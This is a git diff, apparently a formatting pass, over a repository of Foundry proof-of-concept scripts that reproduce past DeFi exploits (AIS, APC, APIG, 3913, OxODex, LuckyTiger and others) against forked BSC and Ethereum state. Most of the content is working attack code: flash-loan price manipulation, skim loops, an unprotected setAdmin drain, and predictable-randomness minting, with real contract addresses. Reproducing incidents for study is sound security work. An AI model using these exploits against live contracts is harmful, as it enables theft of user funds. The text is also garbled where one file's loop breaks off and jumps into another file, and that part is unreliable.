diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index bc51a13f..53c35982 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1,7 +1,7 @@ on: push: branches: - - 'main' + - "main" name: Build @@ -19,5 +19,8 @@ jobs: with: version: nightly + - name: Run lint + run: forge fmt + - name: Run build run: forge build diff --git a/script/Exploit-template.sol b/script/Exploit-template.sol index bede26b1..8317e97c 100644 --- a/script/Exploit-template.sol +++ b/script/Exploit-template.sol @@ -17,14 +17,12 @@ import "forge-std/Script.sol"; // Twitter Guy : https://www.google.com/ // Hacking God : https://www.google.com/ - contract ExploitScript is Script { function setUp() public {} function run() public { vm.startBroadcast(); - vm.stopBroadcast(); } -} \ No newline at end of file +} diff --git a/script/LuckyTiger_s_exp.sol b/script/LuckyTiger_s_exp.sol index 51b236bd..c26ffd14 100644 --- a/script/LuckyTiger_s_exp.sol +++ b/script/LuckyTiger_s_exp.sol @@ -2,7 +2,6 @@ pragma solidity ^0.8.13; - import "forge-std/Script.sol"; /* @@ -13,68 +12,64 @@ import "forge-std/Script.sol"; poc refers to: https://github.com/0xNezha/luckyHack */ contract luckyHack is Script { + event Log(string); - event Log(string); + address owner = address(this); + address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967; - address owner = address(this); - address nftAddress = 0x9c87A5726e98F2f404cdd8ac8968E9b2C80C0967; - function setUp() public { vm.deal(address(this), 3 ether); vm.deal(address(nftAddress), 5 ether); } - function getRandom() public view returns(uint){ - if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) { + function getRandom() public view returns (uint256) { + if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) { return 0; - }else{ + } else { return 1; } - } - + } - function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { - return this.onERC721Received.selector; - } + function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) { + return this.onERC721Received.selector; + } - function hack(uint256 amount) public { - console.log("Contract balance",address(this).balance); - console.log("getRandom",getRandom()); + function hack(uint256 amount) public { + console.log("Contract balance", address(this).balance); + console.log("getRandom", getRandom()); - if(uint256(keccak256(abi.encodePacked(block.difficulty,block.timestamp))) % 2 == 0) { - revert("Not lucky"); - } + if (uint256(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % 2 == 0) { + revert("Not lucky"); + } bytes memory data = abi.encodeWithSignature("publicMint()"); - for(uint i=0; i= 10 ether) { ringIndex = deposit(0.1 ether); w = withdrawData(address(this), 0.1 ether, ringIndex); // Withdrawal type Direct (0) - OxODexPool.swapOnWithdrawal( - address(USDC), - payable(address(this)), - 0, - 0, - block.timestamp, - w - ); + OxODexPool.swapOnWithdrawal(address(USDC), payable(address(this)), 0, 0, block.timestamp, w); } } @@ -230,12 +190,7 @@ contract ContractTest is Test { c[1] = createHash(ringHash, recv, G, H); // pick s1 := 1 s[1] = 1; - c[0] = createHash( - ringHash, - recv, - ecAdd(G, ecMul(B, c[1])), - ecMul(H, c[1] + 1) - ); + c[0] = createHash(ringHash, recv, ecAdd(G, ecMul(B, c[1])), ecMul(H, c[1] + 1)); // s0 := u - p_0 * c_0 (mod N) // this is NOT likely to overflow s[0] = curveN + 1 - c[0]; @@ -243,10 +198,7 @@ contract ContractTest is Test { // Function for making a call to bn256Add (address 0x06) precompile // More about precompiles - https://medium.com/@rbkhmrcr/precompiles-solidity-e5d29bd428c4 - function ecAdd( - uint256[2] memory p, - uint256[2] memory q - ) internal view returns (uint256[2] memory r) { + function ecAdd(uint256[2] memory p, uint256[2] memory q) internal view returns (uint256[2] memory r) { assembly { // Free memory pointer let fp := mload(0x40) @@ -259,10 +211,7 @@ contract ContractTest is Test { } // Function for making a call to bn256ScalarMul (address 0x07) precompile - function ecMul( - uint256[2] memory p, - uint256 k - ) internal view returns (uint256[2] memory kP) { + function ecMul(uint256[2] memory p, uint256 k) internal view returns (uint256[2] memory kP) { assembly { let fp := mload(0x40) mstore(fp, mload(p)) @@ -305,8 +254,7 @@ contract ContractTest is Test { } contract ForceSend { - IOxODexPool private constant OxODexPool = - IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616); + IOxODexPool private constant OxODexPool = IOxODexPool(0x3d18AD735f949fEbD59BBfcB5864ee0157607616); constructor() payable { selfdestruct(payable(address(OxODexPool))); diff --git a/src/test/3913_exp.sol b/src/test/3913_exp.sol index ef27dc1d..f19d1d4b 100644 --- a/src/test/3913_exp.sol +++ b/src/test/3913_exp.sol @@ -10,20 +10,19 @@ import "./interface.sol"; // Attacker Transaction : // https://bscscan.com/tx/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed - // @Analysis // https://defimon.xyz/attack/bsc/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed - - // The hacker sent multiple transactions to attack, just taking the first transaction as an example. -interface IDodo{ +interface IDodo { function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external; } -interface I3913 is IERC20{ - function burnPairs()external; + +interface I3913 is IERC20 { + function burnPairs() external; } + contract Exploit is Test { CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); I3913 vulnerable = I3913(0xd74F28c6E0E2c09881Ef2d9445F158833c174775); @@ -37,26 +36,31 @@ contract Exploit is Test { address dodo5 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476; IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955); IERC20 token9419 = IERC20(0x86335cb69e4E28fad231dAE3E206ce90849a5477); - uint dodo1FlashLoanAmount; - uint dodo2FlashLoanAmount; - uint dodo3FlashLoanAmount; - uint dodo4FlashLoanAmount; - uint dodo5FlashLoanAmount; + uint256 dodo1FlashLoanAmount; + uint256 dodo2FlashLoanAmount; + uint256 dodo3FlashLoanAmount; + uint256 dodo4FlashLoanAmount; + uint256 dodo5FlashLoanAmount; + function setUp() public { - cheats.createSelectFork("bsc",33132467); - cheats.label(address(vulnerable),"3913"); - cheats.label(address(pair),"pair"); - cheats.label(address(token9419),"9419"); + cheats.createSelectFork("bsc", 33_132_467); + cheats.label(address(vulnerable), "3913"); + cheats.label(address(pair), "pair"); + cheats.label(address(token9419), "9419"); } function testExploit() public { - deal(address(busd),address(this), 0); - emit log_named_decimal_uint("attacker balance busd before attack:", busd.balanceOf(address(this)), busd.decimals()); + deal(address(busd), address(this), 0); + emit log_named_decimal_uint( + "attacker balance busd before attack:", busd.balanceOf(address(this)), busd.decimals() + ); dodo1FlashLoanAmount = busd.balanceOf(dodo1); - IDodo(dodo1).flashLoan(0, dodo1FlashLoanAmount,address(this),new bytes(1)); - emit log_named_decimal_uint("attacker balance busd after attack:", busd.balanceOf(address(this)), busd.decimals()); - + IDodo(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1)); + emit log_named_decimal_uint( + "attacker balance busd after attack:", busd.balanceOf(address(this)), busd.decimals() + ); } + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { if (msg.sender == dodo1) { dodo2FlashLoanAmount = busd.balanceOf(dodo2); @@ -74,11 +78,10 @@ contract Exploit is Test { dodo5FlashLoanAmount = busd.balanceOf(dodo5); IDodo(dodo5).flashLoan(0, dodo5FlashLoanAmount, address(this), new bytes(1)); busd.transfer(dodo4, dodo4FlashLoanAmount); - } - else if (msg.sender == dodo5) { + } else if (msg.sender == dodo5) { //end of flash loan - busd.approve(address(pair), type(uint).max); - busd.approve(address(router),type(uint).max); + busd.approve(address(pair), type(uint256).max); + busd.approve(address(router), type(uint256).max); address[] memory path = new address[](2); path[0] = address(busd); @@ -86,72 +89,74 @@ contract Exploit is Test { router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100); path[1] = address(token9419); router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100); - NewContract x= new NewContract(); + NewContract x = new NewContract(); - vulnerable.transfer(address(x),1 ether); + vulnerable.transfer(address(x), 1 ether); x.transferToken(address(vulnerable), address(this)); path[1] = address(vulnerable); - router.swapExactTokensForTokens(358631959260537946706184, 0, path, address(this), block.timestamp + 100); + router.swapExactTokensForTokens( + 358_631_959_260_537_946_706_184, 0, path, address(this), block.timestamp + 100 + ); busd.transfer(address(pair), 1); - assertEq(vulnerable.balanceOf(address(this)), 650501978825924088488444996953); + assertEq(vulnerable.balanceOf(address(this)), 650_501_978_825_924_088_488_444_996_953); vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this))); pair.skim(address(x)); uint8 i = 0; - while(i < 10){ + while (i < 10) { x.transferToken(address(vulnerable), address(this)); - if(vulnerable.balanceOf(address(0x570C19331c1B155C21ccD6C2D8e264785cc6F015)) != 1e15){ + if (vulnerable.balanceOf(address(0x570C19331c1B155C21ccD6C2D8e264785cc6F015)) != 1e15) { busd.transfer(address(pair), 1); vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this))); pair.skim(address(x)); - } - else + } else { vulnerable.burnPairs(); + } i++; } - assertEq(vulnerable.balanceOf(address(this)), 873285322509556749289919955755); + assertEq(vulnerable.balanceOf(address(this)), 873_285_322_509_556_749_289_919_955_755); path[0] = address(vulnerable); path[1] = address(busd); - uint[] memory amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)) * 98 / 100, path); - assertEq(amountOut[0], 855819616059365614304121556639); - + uint256[] memory amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)) * 98 / 100, path); + assertEq(amountOut[0], 855_819_616_059_365_614_304_121_556_639); - busd.transfer(address(pair),1); + busd.transfer(address(pair), 1); vulnerable.transfer(address(pair), amountOut[0]); - assertEq(amountOut[1] * 99 / 100,386_867_521_275_785_735_087_292); - (uint112 res0,uint112 res1,) = pair.getReserves(); - assertEq(res0,585_082_814_956_957_699_188_861); - assertEq(res1,424480476638586992222101033564); + assertEq(amountOut[1] * 99 / 100, 386_867_521_275_785_735_087_292); + (uint112 res0, uint112 res1,) = pair.getReserves(); + assertEq(res0, 585_082_814_956_957_699_188_861); + assertEq(res1, 424_480_476_638_586_992_222_101_033_564); assert(amountOut[1] * 99 / 100 < res0); - assertEq(pair.token0(),address(busd)); + assertEq(pair.token0(), address(busd)); pair.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0)); path[0] = address(vulnerable); path[1] = address(token9419); amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)), path); token9419.transfer(address(pair3913to9419), 1); vulnerable.transfer(address(pair3913to9419), vulnerable.balanceOf(address(this))); - (res0,res1,) = pair3913to9419.getReserves(); + (res0, res1,) = pair3913to9419.getReserves(); assert(res0 > amountOut[1] * 99 / 100); - assertEq(pair3913to9419.token0(),address(token9419)); - assertEq(amountOut[1] * 99 / 100,278798044220113865039589361218); + assertEq(pair3913to9419.token0(), address(token9419)); + assertEq(amountOut[1] * 99 / 100, 278_798_044_220_113_865_039_589_361_218); pair3913to9419.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0)); -// + // path[0] = address(token9419); path[1] = address(busd); - token9419.approve(address(router),type(uint).max); - router.swapExactTokensForTokensSupportingFeeOnTransferTokens(token9419.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100); - busd.transfer(dodo5,dodo5FlashLoanAmount); + token9419.approve(address(router), type(uint256).max); + router.swapExactTokensForTokensSupportingFeeOnTransferTokens( + token9419.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100 + ); + busd.transfer(dodo5, dodo5FlashLoanAmount); } } } -contract NewContract{ - function transferToken(address token, address destination)external{ - uint bal = I3913(token).balanceOf(address(this)); +contract NewContract { + function transferToken(address token, address destination) external { + uint256 bal = I3913(token).balanceOf(address(this)); I3913(token).transfer(destination, bal); - } -} \ No newline at end of file +} diff --git a/src/test/AIS_exp.sol b/src/test/AIS_exp.sol index 623707d4..f5c38407 100644 --- a/src/test/AIS_exp.sol +++ b/src/test/AIS_exp.sol @@ -1,100 +1,93 @@ -// SPDX-License-Identifier: UNLICENSED -pragma solidity ^0.8.10; - -import "forge-std/Test.sol"; -import "./interface.sol"; - -// @KeyInfo -- Total Lost : ~$61k -// Frontrunner: https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891 -// Original Attacker: https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D -// Frontrunner Contract: https://bscscan.com/address/0x15ffd1d02b3918c9e56f75e30d23786d3ef2b5bc -// Original Attack Contract: https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351 -// Vulnerable Contract: -// https://bscscan.com/address/0x6844ef18012a383c14e9a76a93602616ee9d6132 -// https://bscscan.com/address/0xffac2ed69d61cf4a92347dcd394d36e32443d9d7 -// Attack Tx: https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0 - -// @Analysis -// https://twitter.com/Phalcon_xyz/status/1729861048004391306 - -interface IAIS is IERC20 { - function setSwapPairs(address _address) external; - function harvestMarket() external; -} - -interface VulContract { - function setAdmin(address _admin) external; - function transferToken(address _from, address _to, uint256 _tokenId) external; -} - -contract AISExploit is Test { - IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955); - IAIS AIS = IAIS(0x6844Ef18012A383c14E9a76a93602616EE9d6132); - - Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb); - Uni_Pair_V2 usdt_ais = Uni_Pair_V2(0x1219F2699893BD05FE03559aA78e0923559CF0cf); - Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); - - VulContract vulContract = VulContract(0xFFAc2Ed69D61CF4a92347dCd394D36E32443D9d7); - - function setUp() public { - vm.createSelectFork("bsc", 33916687); - - vm.label(address(usdt), "USDT"); - vm.label(address(AIS), "AIS"); - vm.label(address(pool), "pool"); - vm.label(address(usdt_ais), "usdt_ais pair"); - vm.label(address(router), "router"); - } - - function testExploit() public { - uint256 balanceBefore = usdt.balanceOf(address(this)); - - usdt.approve(address(router), type(uint256).max); - AIS.approve(address(router), type(uint256).max); - - pool.flash(address(this), 3_000_000 ether, 0, new bytes(1)); - uint256 balanceAfter = usdt.balanceOf(address(this)); - emit log_named_decimal_uint("USDT profit", balanceAfter - balanceBefore, usdt.decimals()); - } - - function pancakeV3FlashCallback(uint256 fee0, uint256 /*fee1*/, bytes memory /*data*/) public { - swap(3_000_000 ether, address(usdt), address(AIS)); - - usdt_ais.skim(address(this)); - for (uint i = 0; i < 100; i++) { - uint balance = AIS.balanceOf(address(this)); - AIS.transfer(address(usdt_ais), balance*90/100); - AIS.transfer(address(usdt_ais), 0); - usdt_ais.skim(address(this)); - usdt_ais.skim(address(this)); - } - - AIS.harvestMarket(); - vulContract.setAdmin(address(this)); - - uint256 amount = AIS.balanceOf(address(vulContract)) * 90 / 100; - vulContract.transferToken(address(AIS), address(this), amount); - AIS.setSwapPairs(address(this)); - - AIS.transfer(address(usdt_ais), AIS.balanceOf(address(this))); - AIS.transfer(address(usdt_ais), 0); - swap(0, address(AIS), address(usdt)); - - usdt.transfer(address(pool), 3_000_000 ether + fee0); - } - - function swap(uint256 amountIn, address tokenIn, address tokenOut) internal { - address [] memory path = new address[](2); - path[0] = tokenIn; - path[1] = tokenOut; - router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - amountIn, - 0, - path, - address(this), - block.timestamp - ); - } - -} \ No newline at end of file +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// @KeyInfo -- Total Lost : ~$61k +// Frontrunner: https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891 +// Original Attacker: https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D +// Frontrunner Contract: https://bscscan.com/address/0x15ffd1d02b3918c9e56f75e30d23786d3ef2b5bc +// Original Attack Contract: https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351 +// Vulnerable Contract: +// https://bscscan.com/address/0x6844ef18012a383c14e9a76a93602616ee9d6132 +// https://bscscan.com/address/0xffac2ed69d61cf4a92347dcd394d36e32443d9d7 +// Attack Tx: https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0 + +// @Analysis +// https://twitter.com/Phalcon_xyz/status/1729861048004391306 + +interface IAIS is IERC20 { + function setSwapPairs(address _address) external; + function harvestMarket() external; +} + +interface VulContract { + function setAdmin(address _admin) external; + function transferToken(address _from, address _to, uint256 _tokenId) external; +} + +contract AISExploit is Test { + IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955); + IAIS AIS = IAIS(0x6844Ef18012A383c14E9a76a93602616EE9d6132); + + Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb); + Uni_Pair_V2 usdt_ais = Uni_Pair_V2(0x1219F2699893BD05FE03559aA78e0923559CF0cf); + Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E); + + VulContract vulContract = VulContract(0xFFAc2Ed69D61CF4a92347dCd394D36E32443D9d7); + + function setUp() public { + vm.createSelectFork("bsc", 33_916_687); + + vm.label(address(usdt), "USDT"); + vm.label(address(AIS), "AIS"); + vm.label(address(pool), "pool"); + vm.label(address(usdt_ais), "usdt_ais pair"); + vm.label(address(router), "router"); + } + + function testExploit() public { + uint256 balanceBefore = usdt.balanceOf(address(this)); + + usdt.approve(address(router), type(uint256).max); + AIS.approve(address(router), type(uint256).max); + + pool.flash(address(this), 3_000_000 ether, 0, new bytes(1)); + uint256 balanceAfter = usdt.balanceOf(address(this)); + emit log_named_decimal_uint("USDT profit", balanceAfter - balanceBefore, usdt.decimals()); + } + + function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public { + swap(3_000_000 ether, address(usdt), address(AIS)); + + usdt_ais.skim(address(this)); + for (uint256 i = 0; i < 100; i++) { + uint256 balance = AIS.balanceOf(address(this)); + AIS.transfer(address(usdt_ais), balance * 90 / 100); + AIS.transfer(address(usdt_ais), 0); + usdt_ais.skim(address(this)); + usdt_ais.skim(address(this)); + } + + AIS.harvestMarket(); + vulContract.setAdmin(address(this)); + + uint256 amount = AIS.balanceOf(address(vulContract)) * 90 / 100; + vulContract.transferToken(address(AIS), address(this), amount); + AIS.setSwapPairs(address(this)); + + AIS.transfer(address(usdt_ais), AIS.balanceOf(address(this))); + AIS.transfer(address(usdt_ais), 0); + swap(0, address(AIS), address(usdt)); + + usdt.transfer(address(pool), 3_000_000 ether + fee0); + } + + function swap(uint256 amountIn, address tokenIn, address tokenOut) internal { + address[] memory path = new address[](2); + path[0] = tokenIn; + path[1] = tokenOut; + router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp); + } +} diff --git a/src/test/APC_exp.sol b/src/test/APC_exp.sol index 00845ae5..c8ff1b23 100644 --- a/src/test/APC_exp.sol +++ b/src/test/APC_exp.sol @@ -10,11 +10,11 @@ import "./interface.sol"; // https://bscscan.com/tx/0xbcaecea2044101c80f186ce5327bec796cd9e054f0c240ddce93e2aead337370 first attack // https://bscscan.com/tx/0xf2d4559aeb945fb8e4304da5320ce6a2a96415aa70286715c9fcaf5dbd9d7ed2 second attack -interface TransparentUpgradeableProxy{ +interface TransparentUpgradeableProxy { function swap(address a1, address a2, uint256 amount) external; } -contract ContractTest is DSTest{ +contract ContractTest is DSTest { IERC20 APC = IERC20(0x2AA504586d6CaB3C59Fa629f74c586d78b93A025); IERC20 MUSD = IERC20(0x473C33C55bE10bB53D81fe45173fcc444143a13e); IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955); @@ -25,24 +25,20 @@ contract ContractTest is DSTest{ CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 23527906); + cheats.createSelectFork("bsc", 23_527_906); } - function testExploit() public{ - APC.approve(address(Router), type(uint).max); - APC.approve(address(transSwap), type(uint).max); - USDT.approve(address(Router), type(uint).max); - MUSD.approve(address(transSwap), type(uint).max); + function testExploit() public { + APC.approve(address(Router), type(uint256).max); + APC.approve(address(transSwap), type(uint256).max); + USDT.approve(address(Router), type(uint256).max); + MUSD.approve(address(transSwap), type(uint256).max); DVM(dodo).flashLoan(0, 500_000 * 1e18, address(this), new bytes(1)); - emit log_named_decimal_uint( - "[End] Attacker USDT balance after exploit", - USDT.balanceOf(address(this)), - 18 - ); + emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18); } - function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public{ + function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public { USDTToAPC(); // Pump APC token price transSwap.swap(address(APC), address(MUSD), 100_000 * 1e18); // APC swap to MUSD with incorrect price, get more MUSD APCToUSDT(); // Dump APC token price @@ -51,31 +47,21 @@ contract ContractTest is DSTest{ USDT.transfer(dodo, 500_000 * 1e18); } - function USDTToAPC() internal{ - address [] memory path = new address[](2); + function USDTToAPC() internal { + address[] memory path = new address[](2); path[0] = address(USDT); path[1] = address(APC); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - USDT.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp ); } - function APCToUSDT() internal{ - address [] memory path = new address[](2); + function APCToUSDT() internal { + address[] memory path = new address[](2); path[0] = address(APC); path[1] = address(USDT); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - APC.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + APC.balanceOf(address(this)), 0, path, address(this), block.timestamp ); } - - -} \ No newline at end of file +} diff --git a/src/test/APIG_exp.sol b/src/test/APIG_exp.sol index 59889d48..daecfc9c 100644 --- a/src/test/APIG_exp.sol +++ b/src/test/APIG_exp.sol @@ -14,35 +14,32 @@ import "./interface.sol"; // Twitter Guy : https://twitter.com/CertiKAlert/status/1700128158647734745 // Hacking God : https://www.google.com/ - interface IBEP20 { - function totalSupply() external view returns (uint256); - - function decimals() external view returns (uint8); + function totalSupply() external view returns (uint256); - function symbol() external view returns (string memory); + function decimals() external view returns (uint8); - function name() external view returns (string memory); + function symbol() external view returns (string memory); - function getOwner() external view returns (address); + function name() external view returns (string memory); - function balanceOf(address account) external view returns (uint256); + function getOwner() external view returns (address); - function transfer(address recipient, uint256 amount) external returns (bool); + function balanceOf(address account) external view returns (uint256); - function allowance(address _owner, address spender) external view returns (uint256); + function transfer(address recipient, uint256 amount) external returns (bool); - function approve(address spender, uint256 amount) external returns (bool); + function allowance(address _owner, address spender) external view returns (uint256); - function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + function approve(address spender, uint256 amount) external returns (bool); - event Transfer(address indexed from, address indexed to, uint256 value); + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); - event Approval(address indexed owner, address indexed spender, uint256 value); + event Transfer(address indexed from, address indexed to, uint256 value); + event Approval(address indexed owner, address indexed spender, uint256 value); } - contract ContractTest is Test { IPancakePair aDaDPair = IPancakePair(0xaDaD973f8920bc511d94aade2762284f621F1467); IPancakePair EfBfPair = IPancakePair(0xEFBf31B0Ca397D29E9BA3fb37FE3C013EE32871d); @@ -51,11 +48,11 @@ contract ContractTest is Test { IBEP20 BUSD = IBEP20(0x55d398326f99059fF775485246999027B3197955); IBEP20 BETH = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8); IBEP20 APIG = IBEP20(0xDc630Fb4F95FaAeE087E0CE45d5b9c4fc9888888); - uint amount = 500_000_000_000_000_000_000; + uint256 amount = 500_000_000_000_000_000_000; address[] path = new address[](2); function setUp() public { - vm.createSelectFork("bsc", 31562012 - 1); + vm.createSelectFork("bsc", 31_562_012 - 1); vm.label(address(aDaDPair), "0xadad_Pair"); vm.label(address(EfBfPair), "0xefbf_Pair"); vm.label(address(b920Pair), "0xb920_Pair"); @@ -65,44 +62,43 @@ contract ContractTest is Test { vm.label(address(APIG), "APIG"); } - function testExploit() external{ - uint startBUSD = BUSD.balanceOf(address(this)); + function testExploit() external { + uint256 startBUSD = BUSD.balanceOf(address(this)); // console.log("Before Start: %d USD", startBUSD); aDaDPair.swap(amount, 0, address(this), abi.encode(amount)); - uint expBUSD = BUSD.balanceOf(address(this)) - startBUSD; - uint intRes_USD = expBUSD/1 ether; - uint decRes_USD = expBUSD - intRes_USD * 1e18; + uint256 expBUSD = BUSD.balanceOf(address(this)) - startBUSD; + uint256 intRes_USD = expBUSD / 1 ether; + uint256 decRes_USD = expBUSD - intRes_USD * 1e18; console.log("Attack Exploit: %s.%s USD", intRes_USD, decRes_USD); - uint intRes_ETH = BETH.balanceOf(address(this))/1 ether; - uint decRes_ETH = BETH.balanceOf(address(this)) - intRes_ETH * 1e18; + uint256 intRes_ETH = BETH.balanceOf(address(this)) / 1 ether; + uint256 decRes_ETH = BETH.balanceOf(address(this)) - intRes_ETH * 1e18; console.log("Attack Exploit: %s.%s ETH", intRes_ETH, decRes_ETH); } - function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external { + function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external { BUSD.transfer(address(EfBfPair), amount); (path[0], path[1]) = (address(BUSD), address(APIG)); uint256[] memory swapAmounts = router.getAmountsOut(amount, path); EfBfPair.swap(0, swapAmounts[1], address(this), ""); - uint256 amount72628 = BUSD.balanceOf(address(EfBfPair))-5e19; + uint256 amount72628 = BUSD.balanceOf(address(EfBfPair)) - 5e19; (path[0], path[1]) = (address(APIG), address(BUSD)); uint256[] memory APIG_BUSD = router.getAmountsIn(amount72628, path); - uint256 amount59500 = BETH.balanceOf(address(b920Pair))-1e17; - (path[0], path[1]) = (address(APIG), address(BETH)); + uint256 amount59500 = BETH.balanceOf(address(b920Pair)) - 1e17; + (path[0], path[1]) = (address(APIG), address(BETH)); uint256[] memory APIG_BETH = router.getAmountsIn(amount59500, path); - while(true){ - uint transferAmount = APIG.balanceOf(address(this)); + while (true) { + uint256 transferAmount = APIG.balanceOf(address(this)); APIG.transfer(address(this), transferAmount); - if (transferAmount >= 257_947_240_540_223_703_649_846_558_720){ + if (transferAmount >= 257_947_240_540_223_703_649_846_558_720) { break; } } - APIG.transfer(address(EfBfPair), APIG_BUSD[0] + APIG_BUSD[0]/100*4); + APIG.transfer(address(EfBfPair), APIG_BUSD[0] + APIG_BUSD[0] / 100 * 4); EfBfPair.swap(amount72628, 0, address(this), ""); - BUSD.transfer(address(aDaDPair), amount + amount/100*3); - APIG.transfer(address(b920Pair),APIG.balanceOf(address(this))); + BUSD.transfer(address(aDaDPair), amount + amount / 100 * 3); + APIG.transfer(address(b920Pair), APIG.balanceOf(address(this))); b920Pair.swap(amount59500, 0, address(this), ""); } - } diff --git a/src/test/ARA_exp.sol b/src/test/ARA_exp.sol index 7a64e313..7118dfb2 100644 --- a/src/test/ARA_exp.sol +++ b/src/test/ARA_exp.sol @@ -54,13 +54,13 @@ contract ARATest is Test { emit log_named_decimal_uint( "Attacker BUSDT balance before hack", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); // Step 1. Flashloan 1,202,701 USDT DPPOracle.flashLoan(0, 1_202_701 * 1e18, address(this), new bytes(1)); emit log_named_decimal_uint( "Attacker BUSDT balance after hack", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); } function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external { @@ -71,7 +71,7 @@ contract ARATest is Test { routerV3Swap(BUSDT, ARA, 1_202_701 * 1e18); emit log_named_decimal_uint( "Step 3. ARA amount out after first V3 swap", ARA.balanceOf(address(this)), ARA.decimals() - ); + ); // Step 4. Call the swap contract again to swap 132,123 USDT -> 12,179 ARA to let the approved address take over $ARA at a high price. callSwapContract(132_123 * 1e18, BUSDT); @@ -80,7 +80,7 @@ contract ARATest is Test { routerV3Swap(ARA, BUSDT, ARA.balanceOf(address(this))); emit log_named_decimal_uint( "Step 5. BUSDT amount out after second V3 swap", BUSDT.balanceOf(address(this)), BUSDT.decimals() - ); + ); BUSDT.transfer(address(DPPOracle), quoteAmount); } diff --git a/src/test/ATK_exp.sol b/src/test/ATK_exp.sol index a26cb373..fa490bf8 100644 --- a/src/test/ATK_exp.sol +++ b/src/test/ATK_exp.sol @@ -37,7 +37,7 @@ contract ContractTest is DSTest { "[End] Attacker ATK balance after exploit", ATK.balanceOf(address(0xD7ba198ce82f4c46AD8F6148CCFDB41866750231)), 18 - ); + ); } function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { diff --git a/src/test/AUR_exp.sol b/src/test/AUR_exp.sol index b01479ba..45bb5445 100644 --- a/src/test/AUR_exp.sol +++ b/src/test/AUR_exp.sol @@ -59,7 +59,7 @@ contract ContractTest is DSTest { emit log_named_uint( "AurumNodePool Attacker reward:", AurumNodePool.getRewardAmountOf(address(this), nodes[0].creationTime) - ); + ); require(block.timestamp > nodes[0].lastClaimTime); diff --git a/src/test/AkutarNFT_exp.sol b/src/test/AkutarNFT_exp.sol index 5bb2270b..a6bc5d9e 100644 --- a/src/test/AkutarNFT_exp.sol +++ b/src/test/AkutarNFT_exp.sol @@ -16,34 +16,33 @@ There are two serious logic vulnerabilities forge test --contracts ./src/test/AkutarNFT_exp.sol -vv */ contract AkutarNFTExploit is DSTest { - CheatCodes cheats = 